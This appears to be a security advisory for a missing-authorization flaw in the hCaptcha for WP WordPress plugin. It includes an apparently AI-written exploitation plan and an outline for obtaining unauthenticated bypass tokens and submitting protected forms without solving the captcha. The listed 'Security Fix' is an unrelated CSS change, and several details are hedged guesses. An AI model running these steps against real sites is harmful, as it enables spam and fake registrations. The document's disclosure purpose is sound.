hCaptcha for WP <= 4.22.0 - Missing Authorization
Description
The hCaptcha for WP plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 4.22.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=4.22.0What Changed in the Fix
Changes introduced in v4.23.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-25315 (hCaptcha for WP <= 4.22.0) ## 1. Vulnerability Summary The **hCaptcha for WP** plugin (versions up to 4.22.0) contains a "Missing Authorization" vulnerability in its "Form Submit Token" (FST) mechanism. The plugin registers an AJAX endpoint (likely for …
Show full research plan
Exploitation Research Plan: CVE-2026-25315 (hCaptcha for WP <= 4.22.0)
1. Vulnerability Summary
The hCaptcha for WP plugin (versions up to 4.22.0) contains a "Missing Authorization" vulnerability in its "Form Submit Token" (FST) mechanism. The plugin registers an AJAX endpoint (likely for both authenticated and unauthenticated users) designed to issue a "pre-verification" token. This token, when included in form submissions, allows the server to bypass the standard hCaptcha challenge verification. Because the AJAX handler lacks both capability checks (current_user_can) and CSRF protection (nonces), an unauthenticated attacker can programmatically request these tokens and bypass hCaptcha protection on any form (e.g., login, registration, or comment forms).
2. Attack Vector Analysis
- Endpoint:
wp-admin/admin-ajax.php - Method:
POST - Action: Dynamically defined by the plugin, but identified in JS as
HCaptchaFSTObject.issueTokenAction(likelyhcap_fst_issue_token). - Parameters:
action: The value ofHCaptchaFSTObject.issueTokenAction.postId: The ID of the post/page where the form resides (used for context, but often optional or easily guessable).
- Authentication: Unauthenticated (vulnerable via
wp_ajax_nopriv_hook). - Preconditions: The "Form Submit Token" (FST) feature must be enabled in the plugin settings (often enabled by default or for specific integrations).
3. Code Flow
- Frontend Script:
assets/js/hcaptcha-fst.jsis enqueued on pages containing hCaptcha-protected forms. - JS Initialization: The script
fst.init()listens forhCaptchaLoaded. - Token Request: The
getToken()function (line 46) is triggered. - AJAX Call: It constructs a
URLSearchParamsobject (lines 52-53):formBody.set( 'action', HCaptchaFSTObject.issueTokenAction ); formBody.set( 'postId', postId ); - Submission: It performs a
fetchrequest toHCaptchaFSTObject.ajaxUrl(line 55) without any nonce or authentication headers. - Vulnerable Sink: The PHP function registered to the
issueTokenActionreturns a valid hCaptcha bypass token (token) in a JSON response without verifying if the user is a legitimate human or has the appropriate permissions.
4. Nonce Acquisition Strategy
According to the source file assets/js/hcaptcha-fst.js, no nonce is required for this specific AJAX request. The fetch call at line 55 only passes the action and postId.
However, to obtain the exact action string (which might change or be unique), the agent should:
- Identify a page where hCaptcha is active (e.g., the homepage or a specific post).
- Use
browser_evalto extract the localization object:browser_eval("window.HCaptchaFSTObject") - Extract the
issueTokenActionvalue from that object.
5. Exploitation Strategy
Step 1: Discover the AJAX Action
Use the browser to find the specific action name used by the FST system.
- URL: Homepage or any post with hCaptcha enabled.
- JS Command:
HCaptchaFSTObject.issueTokenAction
Step 2: Request the Bypass Token
Send an unauthenticated POST request to admin-ajax.php.
- Method:
POST - URL:
http://[target]/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded;charset=UTF-8 - Body:
action=[ACTION_NAME_FROM_STEP_1]&postId=1(wherepostIdcan be any valid ID).
Step 3: Use the Token to Bypass Captcha
Use the returned token in a form submission (e.g., a comment).
- Method:
POST - URL:
http://[target]/wp-comments-post.php - Parameters: Include
hcap_fst_token=[TOKEN_FROM_STEP_2]and standard comment fields (comment,author,email). - Expected Outcome: The comment is accepted without the user solving an actual hCaptcha challenge.
6. Test Data Setup
- Install and activate "hCaptcha for WP" <= 4.22.0.
- Configure hCaptcha with Site Key and Secret (use test keys if necessary).
- Enable hCaptcha for "WordPress Comment Form".
- Ensure a post exists (e.g.,
?p=1) where comments are open. - Check plugin settings to ensure "Form Submit Token" or "FST" optimization is enabled (if it's a toggleable feature).
7. Expected Results
- The AJAX request to
admin-ajax.phpshould return a200 OKresponse with a JSON body similar to:{"success":true,"data":{"token":"[32-64_char_alphanumeric_string]"}} - Submitting a comment with this
tokenin thehcap_fst_tokenfield should succeed even if theh-captcha-responsefield is empty or missing.
8. Verification Steps
- Check Comment Status: Use WP-CLI to verify the comment was created:
wp comment list --post_id=1 --status=approve - Verify Nonce Absence: Confirm that repeating the
http_requestfrom Step 2 works without any_wpnonceorcookieheaders.
9. Alternative Approaches
- Registration Bypass: If comments are closed, test against the registration form (
/wp-login.php?action=register). Thehcap_fst_tokenshould work there as well. - Variable Inspection: If
HCaptchaFSTObjectis not defined, search the HTML source forhcaptcha-fst-js-extrawhich is the standard WordPress ID for localized scripts. - Parameter Variation: Try the request without
postIdto see if it's mandatory; if the plugin uses it to generate a post-specific token, the exploit may require matching thepostIdof the target form.
Summary
The hCaptcha for WP plugin is vulnerable to unauthorized bypass of hCaptcha challenges due to missing authorization and CSRF checks in its 'Form Submit Token' (FST) AJAX handler. This allows unauthenticated attackers to programmatically obtain valid bypass tokens, which can be used to submit protected forms (like comments or registration) without completing the hCaptcha challenge.
Vulnerable Code
// assets/js/hcaptcha-fst.js lines 46-60 getToken() { ( async function() { const bodyClassName = document.body.className; let postId = bodyClassName.match( /post-id-(\d+)/ )?.[ 1 ] ?? ''; postId = bodyClassName.match( /page-id-(\d+)/ )?.[ 1 ] ?? postId; const formBody = new URLSearchParams(); formBody.set( 'action', HCaptchaFSTObject.issueTokenAction ); formBody.set( 'postId', postId ); const res = await fetch( HCaptchaFSTObject.ajaxUrl, { method: 'POST', credentials: 'same-origin', cache: 'no-store', headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8', }, body: formBody.toString(), } );
Security Fix
@@ -86,7 +86,7 @@ } #hcaptcha-options table tr td fieldset input[type="checkbox"] { - display: inline; + display: inline-block; border: none; box-shadow: none; width: 2.3611rem;
Exploit Outline
1. Visit the target site's homepage or any post where hCaptcha is active and inspect the 'HCaptchaFSTObject' global variable to find the 'issueTokenAction' name (e.g., 'hcap_fst_issue_token'). 2. Send an unauthenticated POST request to '/wp-admin/admin-ajax.php' with the parameters 'action' (the discovered action name) and 'postId' (the current page ID). 3. Since the endpoint lacks authorization checks and nonces, it will return a JSON object containing a valid bypass 'token'. 4. Submit a target form (such as 'wp-comments-post.php') including the 'hcap_fst_token' parameter set to the value of the captured token. 5. The form submission will bypass the hCaptcha verification logic entirely, even without a valid 'h-captcha-response' payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.